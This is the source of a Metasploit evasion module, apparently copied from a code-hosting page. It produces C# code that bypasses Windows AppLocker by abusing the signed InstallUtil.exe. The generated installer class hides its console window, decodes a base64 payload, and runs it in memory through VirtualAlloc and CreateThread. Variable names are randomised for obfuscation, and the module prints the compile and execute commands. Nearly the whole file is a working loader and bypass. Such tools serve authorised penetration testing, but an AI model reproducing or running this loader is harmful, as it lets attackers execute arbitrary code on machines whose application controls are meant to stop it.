Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/evasion/windows/applocker_evasion_install_util.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Evasion67def initialize(info={})8super(update_info(info,9'Name' => 'Applocker Evasion - .NET Framework Installation Utility',10'Description' => %q(11This module will assist you in evading Microsoft Windows12Applocker and Software Restriction Policies.13This technique utilises the Microsoft signed binary14InstallUtil.exe to execute user supplied code.15),16'Author' =>17[18'Nick Tyrer <@NickTyrer>', # module development19'Casey Smith' # install_util bypass research20],21'License' => 'MSF_LICENSE',22'Platform' => 'win',23'Arch' => [ARCH_X86, ARCH_X64],24'Targets' => [['Microsoft Windows', {}]],25'References' => [['URL', 'https://attack.mitre.org/techniques/T1118/']]26)27)2829register_options(30[31OptString.new('FILENAME', [true, 'Filename for the evasive file (default: install_util.txt)', 'install_util.txt'])32]33)34end3536def build_payload37Rex::Text.encode_base64(payload.encoded)38end3940def obfu41Rex::Text.rand_text_alpha 842end4344def install_util45esc = build_payload46mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]47<<~HEREDOC48using System;49namespace #{mod[12]}50{51public class #{mod[11]} { public static void Main() { } }52[System.ComponentModel.RunInstaller(true)]53public class #{mod[10]} : System.Configuration.Install.Installer54{55private static Int32 #{mod[0]}=0x1000;56private static IntPtr #{mod[1]}=(IntPtr)0x40;57private static UInt32 #{mod[2]} = 0xFFFFFFFF;58[System.Runtime.InteropServices.DllImport("kernel32")]59private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);60[System.Runtime.InteropServices.DllImport("kernel32")]61private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);62[System.Runtime.InteropServices.DllImport("kernel32")]63private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);64[System.Runtime.InteropServices.DllImport("user32.dll")]65static extern bool ShowWindow(IntPtr #{mod[3]}, int nCmdShow);66[System.Runtime.InteropServices.DllImport("Kernel32")]67private static extern IntPtr GetConsoleWindow();68const int #{mod[4]} = 0;69public override void Uninstall(System.Collections.IDictionary s)70{71IntPtr #{mod[3]};72#{mod[3]} = GetConsoleWindow();73ShowWindow(#{mod[3]}, #{mod[4]});74string #{mod[5]} = "#{esc}";75byte[] #{mod[6]} = Convert.FromBase64String(#{mod[5]});76byte[] #{mod[7]} = #{mod[6]};77IntPtr #{mod[8]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[7]}.Length, #{mod[0]}, #{mod[1]});78System.Runtime.InteropServices.Marshal.Copy(#{mod[7]}, 0, #{mod[8]}, #{mod[7]}.Length);79IntPtr #{mod[9]} = IntPtr.Zero;80WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[8]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[2]});81}82}83}84HEREDOC85end8687def file_format_filename(name = '')88name.empty? ? @fname : @fname = name89end9091def create_files92f1 = datastore['FILENAME'].empty? ? 'install_util.txt' : datastore['FILENAME']93f1 << '.txt' unless f1.downcase.end_with?('.txt')94file1 = install_util95file_format_filename(f1)96file_create(file1)97end9899def instructions100print_status "Copy #{datastore['FILENAME']} to the target"101if payload.arch.first == ARCH_X86102print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\csc.exe /out:#{datastore['FILENAME'].gsub('.txt', '.exe')} #{datastore['FILENAME']}"103print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\InstallUtil.exe /logfile= /LogToConsole=false /U #{datastore['FILENAME'].gsub('.txt', '.exe')}"104else105print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\csc.exe /out:#{datastore['FILENAME'].gsub('.txt', '.exe')} #{datastore['FILENAME']}"106print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\InstallUtil.exe /logfile= /LogToConsole=false /U #{datastore['FILENAME'].gsub('.txt', '.exe')}"107end108end109110def run111create_files112instructions113end114end115116117